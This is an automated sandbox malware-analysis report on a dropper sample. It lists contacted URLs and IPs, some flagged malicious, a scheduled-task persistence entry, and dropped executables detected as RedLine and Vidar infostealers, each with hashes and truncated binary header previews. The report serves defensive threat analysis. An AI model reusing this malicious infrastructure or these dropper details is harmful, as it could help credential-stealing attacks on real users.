http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cdn.discordapp.com	SETUP_~1.EXE, 00000026.00000002.912783596.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AKmX41	em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mas.to/	brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	false	URL Reputation: safe	unknown
http://www.company.com/83886080NewProduct000100NewProduct1NewProduct	em1B8DcC72.exe	false		high
http://tempuri.org/Entity/Id13Response	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AGmX4c	em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.251.209.4	www.google.com	United States	15169	GOOGLEUS	false
45.95.11.158	unknown	Italy	13487	ULTRA-PACKETUS	true
104.22.1.232	cutt.ly	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
176.113.115.146	unknown	Russian Federation	49505	SELECTELRU	false
142.250.180.170	unknown	United States	15169	GOOGLEUS	false
103.89.90.61	unknown	Viet Nam	135905	VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN	true
142.251.209.46	clients.l.google.com	United States	15169	GOOGLEUS	false
135.181.104.248	unknown	Germany	24940	HETZNER-ASDE	false
142.251.209.35	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
148.251.234.83	iplogger.org	Germany	24940	HETZNER-ASDE	false
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
195.54.170.157	unknown	unknown	51171	VALICOM-ASPT	false
185.191.229.101	insttaller.com	Netherlands	64236	UNREAL-SERVERSUS	false
142.250.180.141	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.1
192.168.2.5
192.168.2.23
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	688477
Start date and time:	2022-08-23 03:41:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 19m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	em1B8DcC72.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@117/172@14/20
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 13.3% (good quality ratio 9%) Quality average: 33.6% Quality standard deviation: 29.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 60 Number of non-executed functions: 181
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.209.3, 142.250.184.78, 173.194.160.70
Excluded domains from analysis (whitelisted): r1---sn-1gi7znes.gvt1.com, redirector.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, arc.msn.com, r1---sn-1gi7znek.gvt1.com
Execution Graph export aborted for target em1B8DcC72.exe, PID 5856 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:45:47	API Interceptor	31x Sleep call for process: powershell.exe modified
03:46:25	Task Scheduler	Run new task: COMSurrogate path: C:\Users\user\TypeRes\DllResource.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\Company\NewProduct\EU1.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	6.577055107162514
Encrypted:	false
SSDEEP:	6144:aRkvX/oM13YFXHmI4SSKdOctknX59ZzmdPxwJ:gWp13YFXO9nX59ZSdCJ
MD5:	98FC1DECB8429B80180D484F107DABF1
SHA1:	D121A3AEA00B9FB41F8393829030F02697E0F846
SHA-256:	A4A3796A11088BCC5258340F750C5D0BAFF787790946EC6A6FF7B2108067A0BA
SHA-512:	9894C32B26FF3431815E9C7FB63D1CAE819696CCEB7DC1E5053CA30CE182D0825137E63ED5B49442A6643BC4A86E353C691D5AC4026C10A482E703911E80281A
Malicious:	true
Yara Hits:	Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.}.m.}.m.}.m..Km.}.m...m.}.m..Vm.}.m..Fm.}.m.}.m.}.m..~m.}.m..Hm.}.mRich.}.m................PE..L......c................. ...~...............0....@.......................................@.....................................(............................p..\<......................................@............0..L............................text...[........ .................. ..`.rdata..h....0.......$..............@..@.data....Q..........................@....reloc..hL...p...N..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	6.626098895117023
Encrypted:	false
SSDEEP:	6144:Y7v3qLsCqxXXFaNOq7trETZdZjPLUQxIAi/9xlNtQ/3N:Y7vbfQOkrETZdZjPv10RNk
MD5:	501E0F6FA90340E3D7FF26F276CD582E
SHA1:	1BCE4A6153F71719E786F8F612FBFCD23D3E130A
SHA-256:	F07D918C6571F11ABF9AB7268AC6E2ECBCD931C3D9D878895C777D15052AAE2B
SHA-512:	DEE3AABFCA7912F15B628253222CFE8D8E13CD64F0438E8D705B68B0A14B4C9523B7A207583BE7B424E444D6B05F237484A0C38BF2E075D347EF937D409A3A69
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 64%, Browse Antivirus: ReversingLabs, Detection: 96%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)./.H.\|.H.\|.H.\|..+\|.H.\|..(\|.H.\|..>\|.H.\|...\|.H.\|.H.\|.H.\|..9\|.H.\|..)\|.H.\|..,\|.H.\|Rich.H.\|................PE..L.....@a.................r...~.......4............@.........................................................................dq..P................................... ...............................`...@............................................text...xq.......r.................. ..`.data...Hv...........v..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\brokerius.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	290304
Entropy (8bit):	6.579401645714669
Encrypted:	false
SSDEEP:	6144:bsMZN00ag9n0A12I4azih0o3n4+nKyIXszhO3UJcC:tN0ng9nB1+a+nKyPFOkJcC
MD5:	F5D13E361F8B9ACA7103CB46B441034B
SHA1:	090DCC68F4CE59D1C5B8B7424508C4033EE418DD
SHA-256:	A5AD514ED54F1F8F0A8E054B0DC3A39D13D70E388711DDB9D44095A5A89317BF
SHA-512:	DB8F615405C3DCBB2E525903A572E13565F184BC8C1A2674138A84774DD06041A9899006B8599A25F06CE4FBA92C12D102772E74BE62AC6D02B5BC0AC4EE124A
Malicious:	true
Yara Hits:	Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.}.m.}.m.}.m..Km.}.m...m.}.m..Vm.}.m..Fm.}.m.}.m.}.m..~m.}.m..Hm.}.mRich.}.m................PE..L...M..c................."...~......]........@....@.......................................@.................................\|...(................................<......................................@............@..L............................text...8!.......".................. ..`.rdata.......@.......&..............@..@.data....Q... ......................@....reloc...L.......N... ..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\captain09876.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	721408
Entropy (8bit):	4.496128932092844
Encrypted:	false
SSDEEP:	3072:gvGyYiSDnt1k5vWp1icKAArDZz4N9GhbkENEkEMEwnuxm9G01vbLque0Ys8L9dZs:E4Dp0yN90vEvMEwnF1vCuU4QxomgOa
MD5:	CE94CE7DE8279ECF9519B12F124543C3
SHA1:	BE2563E381439ED33869A052391EEC1DDD40FAA0
SHA-256:	F88D6FC5FD36EF3A9C54CF7101728A39A2A2694A0A64F6AF1E1BEFACFBC03F20
SHA-512:	9697CFC31B3344A2929B02ECDF9235756F4641DBB0910E9F6099382916447E2D06E41C153FAD50890823F068AE412FB9A55FD274B3B9C7929F2CA972112CC5B7
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......le.Z(...(...(...Mb..)...Mb..*...Mb..:...Mb..9...(.......Mb..!...Mbh.)...Mb..)...Rich(...........................PE..d................."......t...........y.........@.............................`...........`.......... ...................................................Z...................P.. .......T............................................... ............................text...0s.......t.................. ..`.rdata...".......$...x..............@..@.data...............................@....pdata..............................@..@.rsrc....Z.......\..................@..@.reloc.. ....P......................@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	5.748182533197244
Encrypted:	false
SSDEEP:	3072:scvFBgCYypi5IN/QQC3gltr/QcnzHTshR4EASNT:scv+uQ3gl5Ic/shR4jS
MD5:	3243054D3ACD513ABCC72EE1D1B65C97
SHA1:	D23AFD7EF0F4CC3CF5A492B7D46B557C7BC11CB3
SHA-256:	5BC24A5DEA878774CE9C928A13F007E6AC604474349F33CE4F946AA4B7189CCC
SHA-512:	931C3735474A70EBDFC3B849448532B782062C1228079CA9A9367CD6E4D5CF181AE794427BECC85D7921703D0288D6639682A858F3A43338B679258D7D29E6E3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...jf-...............0................. ........@.. ....................................@.................................t...O...................................X................................................ ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\jshainx.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	5.74839124004363
Encrypted:	false
SSDEEP:	3072:9cvFBgCYKpi8IVJFKQ6OUxuvQc0ZpDHh64EASNh:9cv+t36jo4c+Hh64jS
MD5:	2647A5BE31A41A39BF2497125018DBCE
SHA1:	A1AC856B9D6556F5BB3370F0342914EB7CBB8840
SHA-256:	84C7458316ADF09943E459B4FB1AA79BD359EC1516E0AD947F44BDC6C0931665
SHA-512:	68F70140AF2AD71A40B6C884627047CDCBC92B4C6F851131E61DC9DB3658BDE99C1A09CAD88C7C922AA5873AB6829CF4100DC12B75F237B2465E22770657AE26
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... .................0................. ........@.. ....................................@.....................................O...................................d................................................ ............... ..H............text...@.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	775168
Entropy (8bit):	6.7110819961841575
Encrypted:	false
SSDEEP:	12288:7RUQ/DK21WSRL3oXY+/zNi7Dha0pePTvJRXYBVMAqn4jNZYXm0ipZZBPA76:77zXL3oXVw700pe7zXYBVgn4jNZYXdik
MD5:	3EC059BD19D6655BA83AE1E644B80510
SHA1:	61FA49D4473E91509B32A3B675A236B1EAB74D08
SHA-256:	7DC81DC72CB4F89AD022BB15419E1B6170CF77942B8EC29839924B7B4FE7896C
SHA-512:	5324C3A902B96D5782E01DD0BFB177055A6908112C60C85AF49C7E863B62F0947D6E18D5AC370652008C5983B0C8BD762AB4444822D0AD547A88883970ADABE9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 44%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................".........../.......@....@..........................P...................@..............................H$.................................................................................................................CODE..... .......".................. ..`DATA.....'...@...(...&..............@...BSS.....9....p.......N...................idata..H$.......&...N..............@....tls.................t...................rdata...............t..............@..P.reloc..............v..............@..P.rsrc..............................@..P.............P......................@..P........................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	5.749974684688708
Encrypted:	false
SSDEEP:	3072:NcvFB4CYHpiVIlf0By1C+4IQclHbTTh/4EASNB:NcvGt91Cdxc9Th/4jS
MD5:	BBD8EA73B7626E0CA5B91D355DF39B7F
SHA1:	66E298653BEB7F652EB44922010910CED6242879
SHA-256:	1AA3FDC24E789B01A39944B85C99E4AC08864D2EAE7530164CEA2821ACBF184E
SHA-512:	625CC9C108B4660030BE1282493700E5F0CCFB973F466F61254ED1E1A96F5F042CDEAA94607825A2F694647468E2F525A6451542FE3AAC785EBAC1CCFE39864F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0................. ........@.. ....................................@.................................p...O...................................T................................................ ............... ..H............text...0.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1810960
Entropy (8bit):	7.956922547006569
Encrypted:	false
SSDEEP:	49152:SdAhjSod/EhksaOenaSJP0BOE5yM5gPHVtC30:SdAhjSOshksaOQRaL5g9Ak
MD5:	63FD052610279F9EB9F1FEE8E262F2A4
SHA1:	AAC344ED6F54C367BE51EFFBF6E84128EE8C6992
SHA-256:	955C265A378008EFEE8F0D19C2880D1026F32F7CD6325E0AB1A24C833905BBBA
SHA-512:	234BC89538336452938FBE1E6774F5F7CA47C735F871AC3BA54A3EA6B68C48970FC53239EA72D5CA176F3ACC00932E479020C38CAD66A0F70A3ACDA5B5AFF9B9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.u.\.u.\.u.3...T.u.3.....u.U...Y.u.\.t..u.3...S.u.3...].u.\...Z.u.3...].u.Rich\.u.........................PE..L...\|..X............................`R............@.................................u.......................................d...<.......(............................................................*..@...............8............................text............................... ..`.data....;..........................@....rsrc...(...........................@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\real.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281600
Entropy (8bit):	6.550690374072991
Encrypted:	false
SSDEEP:	6144:FQyRaGpZUMRY7Sh2I4fLicjusxZrJnAl9l:FHLpZUM/h+LnxZrJnAl
MD5:	A2414BB5522D3844B6C9A84537D7CE43
SHA1:	56C91FC4FE09CE07320C03F186F3D5D293A6089D
SHA-256:	31F4715777F3BE6A4A7B34BAF25EBFC7AF32DD9A2AAE826FC73DCA6C44FDA173
SHA-512:	408EBB002B3BDB77DC243CED28D852801E68E5FF0DBFA450D3E91B89311FE6A3E8473E749619C285C1A5427D8A117350A3798435ED38B56D1A230F0AE270EC60
Malicious:	true
Yara Hits:	Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\real.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L..`"..`"..`"......`".....c`"......`"......`"..`#..`"......`"......`".Rich.`".........PE..L...X..b.....................f......=........0....@.......................................@.....................................<............................`...8......................................@............0..H............................text............................... ..`.rdata.......0......................@..@.data....Q..........................@....reloc...H...`...J..................@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Company\NewProduct\safert44.exe

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	251904
Entropy (8bit):	5.913622549255359
Encrypted:	false
SSDEEP:	6144:i35DsWXcPE0JmESvS85n/f+jEaZfdSsbArGx/KjObJguq:f3KvF5n/f+jEaZfdSsbArGx/KjObJgv
MD5:	414FFD7094C0F50662FFA508CA43B7D0
SHA1:	6EC67BD53DA2FF3D5538A3AFCC6797AF1E5A53FB
SHA-256:	D3FB9C24B34C113992C5C658F6A11F9620DA2E49D12D1ACABE871E1BEA7846EE
SHA-512:	C6527077B4822C062E32C39BE06E285916B501A358991D120A469F5DA1E13D282685CA7CA3FA938292D5BEEF073FBEA42FF9BA96FA5C395F057F7C964608A399
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n.................0.................. ........@.. .......................@............@.................................d...W............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H...........N......:....................................................m..3>.r...f.gY.D"...E.2V~...x...h.\.{.yO8...z'...[^....}..T.w...T.:.Z.<...>j(.....8:PH4....\|.r)V6I.C{m.........I.\|..s..`.".#../..'.@Z.<..$.....bb..Y%k....`&....N.Q....-.S.Mv#gS.e. .c...U......}.......+.......S....h...C..\..;.eD.0......m...?..b.r..0E.q>.f4!./X........o..F.k.tj..B.i.Rv.....@...-L.u...R.-.K_/w.VP..EMd.j1....=......t.R....&.1m.#:.n.j...'..\|...H...NB.D.F..s..sU.6._o.

C:\ProgramData\31448762808696279021307573

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\real.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2880737026424216
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
MD5:	5F02C426BCF0D3E3DC81F002F9125663
SHA1:	EA50920666E30250E4BE05194FA7B3F44967BE94
SHA-256:	DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
SHA-512:	53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\35852486804674887922747497

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\real.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\59160845020463750927613762

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\real.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.43613063485556663
Encrypted:	false
SSDEEP:	12:TLqlUIFnGP6Gkwtwhg4FdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0u9z3:TLqlj1czkwubXYFpFNYcw+6UwcYzHr
MD5:	46076967A4692D6323BCBDAD8532DA6A
SHA1:	A2C61F0EAECF8C2D126FCF82828808B78291E582
SHA-256:	BFA77719DCA9C4C92B38BD8A23C9DD751B82DB0F21620E6937C4F97AECC5536B
SHA-512:	B4C03F075B2E4DC527AD25B5D5788BE55D4CBCCA66002884CC75528FC57AF54C494B2219C726999E9A29C5AB05C789DB1412F4A01A8AC61726E2F7B785E77691
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\63652897175409720920510628

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\real.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.5868890050851199
Encrypted:	false
SSDEEP:	96:8WFMrI5ReyyW5WhodU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3urgMEPrQC/sk:O2QuK+H3HDi9GN6IVj3XBBE3up6
MD5:	644FE02EFC2F06C268BBB92819E10D42
SHA1:	BDE830213CA90E0F6B05B9802AD2E31B5B387926
